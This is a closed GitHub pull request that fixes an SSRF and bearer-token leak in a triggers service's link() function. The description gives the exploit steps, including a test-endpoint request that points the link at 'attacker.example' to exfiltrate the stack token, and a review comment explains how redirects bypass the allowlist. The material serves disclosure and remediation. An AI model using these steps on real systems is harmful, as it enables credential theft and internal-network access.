Skip to content

fix(triggers): restrict link() to an allow-listed host (SSRF/token leak) (EN-1219) - #182

Closed
flemzord wants to merge 1 commit into
mainfrom
fix/triggers-link-ssrf
Closed

fix(triggers): restrict link() to an allow-listed host (SSRF/token leak) (EN-1219)#182
flemzord wants to merge 1 commit into
mainfrom
fix/triggers-link-ssrf

Conversation

@flemzord

Copy link
Copy Markdown
Member

Problem (C1 — CRITICAL)

The link(object, rel) expression function (internal/triggers/expression.go) performs:

rsp, err := h.httpClient.Get(filteredLinks[0].URI)

The *http.Client injected into the evaluator is, in production, the OAuth2 client-credentials client built in cmd/root.go carrying the stack bearer token (scopes ledger/wallets/payments:read+write). The oauth2.Transport attaches Authorization: Bearer <stack-token> to every outbound request, with no host restriction.

The URI comes from a user-controlled trigger expression. An authenticated caller can:

  1. create a trigger whose variable is link(event, "self");
  2. call POST /v2/triggers/{id}/test with {"links":[{"name":"self","uri":"https://attacker.example/"}]};
  3. the server issues a GET to the attacker URL with the stack token attached — and TestTrigger returns the response body to the caller.

This is a read-SSRF and a stack-credential exfiltration primitive (also reachable against internal-only services / cloud metadata).

Fix

  • Restrict link() to an allow-listed host (the configured stack URL) — preserves the legitimate use (fetching the stack's own resources via the token-bearing client) while blocking arbitrary hosts.
  • Reject non-http(s) schemes.
  • Close the response body (was leaked on every call).
  • Empty allowlist ⇒ link() network calls are denied (safe default).

The allowed host is threaded through triggers.NewModule(stack, stackURL, taskQueue) and applies to both serve and worker (shared evaluator).

Tests

TestLinkHostAllowlist asserts a non-allow-listed host is never contacted, the empty allowlist denies, and a matching host is allowed. Existing TestEvalVariables updated to allow its httptest server.

Severity: CRITICAL.

The link() expression function performed an HTTP GET using the
fx-provided *http.Client, which in production is the OAuth2
client-credentials client carrying the stack bearer token (broad
ledger/wallets/payments scopes). Because link() targets a URI taken
from a user-controlled trigger expression (reachable via
POST /v2/triggers/{id}/test, which also returns the response body),
an authenticated caller could point it at an arbitrary host and
exfiltrate the stack token, or reach internal-only services (SSRF).

Restrict link() to an allow-listed host (the configured stack URL),
reject non-http(s) schemes, and close the response body. With no
allow-listed host configured, link() network calls are denied.

The allowlist is threaded through triggers.NewModule(stack, stackURL,
taskQueue).
@coderabbitai

coderabbitai Bot commented Jun 11, 2026

Copy link
Copy Markdown

Warning

Review limit reached

@flemzord, we couldn't start this review because you've reached your PR review rate limit.

More reviews will be available in 48 minutes and 4 seconds. Learn how PR review limits work.

Your organization has run out of usage credits. Purchase more credits in the billing tab to continue.

⌛ How to resolve this issue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans include higher PR review limits than trial, open-source, and free plans. In all cases, reviews become available again over time. During sustained high-volume PR review activity, CodeRabbit may temporarily slow when the next review becomes available.

Please see our Fair Usage Limits Policy for further information.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: c18ffbe8-89ad-4e83-9faa-a83acc99838d

📥 Commits

Reviewing files that changed from the base of the PR and between 271bf8d and 4ab53f3.

📒 Files selected for processing (4)
  • cmd/root.go
  • internal/triggers/expression.go
  • internal/triggers/module.go
  • internal/triggers/trigger_test.go
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/triggers-link-ssrf

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@flemzord

flemzord commented Jun 11, 2026

Copy link
Copy Markdown
Member Author

Tracked in Jira: EN-1219 (Epic EN-1217).

@flemzord flemzord changed the title fix(triggers): restrict link() to an allow-listed host (SSRF/token leak) fix(triggers): restrict link() to an allow-listed host (SSRF/token leak) (EN-1219) Jun 11, 2026
if err := h.checkLinkURL(filteredLinks[0].URI); err != nil {
return nil, err
}
rsp, err := h.httpClient.Get(filteredLinks[0].URI)

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The allowlist is only checked before the initial request. http.Client.Get follows redirects, and because this is still the OAuth2 client/transport, a 30x from an allowlisted stack URL to another host will issue the redirected request with the bearer token attached. That keeps the token-exfiltration path open if the stack host has any redirect endpoint. Please either disable redirects for this client or install a CheckRedirect hook that re-runs the same allowlist check for every redirect target before following it.

@flemzord

flemzord commented Aug 5, 2026

Copy link
Copy Markdown
Member Author

Superseded by #199, which consolidates this change with the related reliability and safety fixes on top of the current main branch.

@flemzord flemzord closed this Aug 5, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

1 participant